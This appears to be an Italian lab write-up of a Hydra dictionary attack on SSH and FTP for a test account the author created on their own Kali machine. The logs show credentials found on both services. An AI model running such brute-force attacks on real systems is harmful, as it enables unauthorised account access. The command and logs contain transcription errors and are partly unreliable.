

Attacco a Dizionario

Per poter svolgere questo tipo di attacco utilizziamo il Software di Cracking Hydra sul servizio SSH di un Utente test che creeremo.

```
(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali㉿kali)-[~]
└─$ sudo service ssh start

(kali㉿kali)-[~]
└─$ ssh test_user@192.168.158.132
The authenticity of host '192.168.158.132 (192.168.158.132)' can't be established.
ED25519 key fingerprint is SHA256:itB8YFoeNhv3c1bkIAEYBwGUmjBe0jv2vZJQzV+RCGI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.158.132' (ED25519) to the list of known hosts.
test_user@192.168.158.132's password:
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
└─(test_user㉿kali)-[~]
└─$
```

Mi avvalgo dell'utilizzo delle liste esistenti come seclists con vari user e password più comuni per procedere, che per motivi di tempistiche ho accorciato.

accedere alla macchina tramite la porta ssh

```
[ATTEMPT] target 192.168.158.132 - login "" - pass "qwertyuiop" - 951 of 961
[child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "123321" - 952 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "mustang" - 953 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "testpass" - 954 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "1234567890" - 955 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "michael" - 956 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "654321" - 957 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "pussy" - 958 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "superman" - 959 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "1qaz2wsx" - 960 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "" - 961 of 961 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 11:11:51
```

```
(kali@kali)-[~]
$
```

```
961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "666666" - 299 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "qwertyuiop" - 300 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "123321" - 301 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "mustang" - 302 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "testpass" - 303 of 961 [child 0] (0/0)
[22][ssh] host: 192.168.158.132 login: test_user password: testpass
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "123456" - 311 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "password" - 312 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "12345678" - 313 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "qwerty" - 314 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "123456789" - 315 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "12345" - 316 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "1234" - 317 of 961 [child 0] (0/0)
```

Proviamo a fare l'attacco sul servizio FTP dell'Utente test, sempre con l'utilizzo del Software di Cracking Hydra


```

(kali@kali)-[~]
$ sudo apt install vsftpd
Installing:
vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1064
Download size: 143 kB
Space needed: 352 kB / 52.5 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.1 [143 kB]
Fetched 143 kB in 6s (22.1 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 417852 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0.1) ...
Setting up vsftpd (3.0.5-0.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy director
y /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please updat
e the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2025.1.1) ...

(kali@kali)-[~]
$ sudo service vsftpd start

```

```

(kali@kali) ~
$ hydra -l /usr/share/seclists/Username/username.txt -P /usr/share/seclists/Passwords/passwords.listandini.txt 192.168.158.132 -i2 ftp -V
Hydra v9.5 (C) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 18:46:35
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 961 login tries (132/a/132), ~601 tries per task
[ATTENPT] target 192.168.158.132 - login "info" - pass "123456" - 1 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "password" - 2 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "12345678" - 3 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "qwerty" - 4 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "123456789" - 5 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "12345" - 6 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "1234" - 7 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "111111" - 8 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "1234565" - 9 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "dragon" - 10 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "1232323" - 11 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "baseball" - 12 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "20c123" - 13 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "football" - 14 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "monkey" - 15 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "testmail" - 16 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "696969" - 17 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "shadow" - 18 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "master" - 19 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "666666" - 20 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "qwertyuiop" - 21 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "123321" - 22 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "hustang" - 23 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "testpass" - 24 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "1234567890" - 25 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "michael" - 26 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "654321" - 27 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "jenny" - 28 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "superman" - 29 of 961 [child 1] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass "1qaz2wsx" - 30 of 961 [child 0] (0/0)
[ATTENPT] target 192.168.158.132 - login "info" - pass " " - 31 of 961 [child 1] (0/0)

```

Anche con questo attacco siamo riusciti a individuare una credenziale valida per poter accedere alla macchina tramite la porta ftp

```
[ATTEMPT] target 192.168.158.132 - login "" - pass "football" - 944 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "monkey" - 945 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "letmein" - 946 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "696969" - 947 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "shadow" - 948 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "master" - 949 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "666666" - 950 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "qwertyuiop" - 951 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "123321" - 952 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "mustang" - 953 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "testpass" - 954 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "1234567890" - 955 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "michael" - 956 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "654321" - 957 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "pussy" - 958 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "superman" - 959 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "1qaz2wsx" - 960 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "" - pass "" - 961 of 961 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 11:13:13
```

```
(kali@kali)-[~]
$
```

```
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "dragon" - 289 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "123123" - 290 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "baseball" - 291 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "abc123" - 292 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "football" - 293 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "monkey" - 294 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "letmein" - 295 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "696969" - 296 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "shadow" - 297 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "master" - 298 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "666666" - 299 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "qwertyuiop" - 300 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "123321" - 301 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "mustang" - 302 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "test_user" - pass "testpass" - 303 of 961 [child 0] (0/0)
[21][ftp] host: 192.168.158.132 login: test_user password: testpass
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "123456" - 311 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "password" - 312 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "12345678" - 313 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "qwerty" - 314 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "123456789" - 315 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "12345" - 316 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "1234" - 317 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "111111" - 318 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "1234567" - 319 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "dragon" - 320 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "123123" - 321 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "baseball" - 322 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "abc123" - 323 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "football" - 324 of 961 [child 1] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "monkey" - 325 of 961 [child 0] (0/0)
[ATTEMPT] target 192.168.158.132 - login "mike" - pass "letmein" - 326 of 961 [child 1] (0/0)
```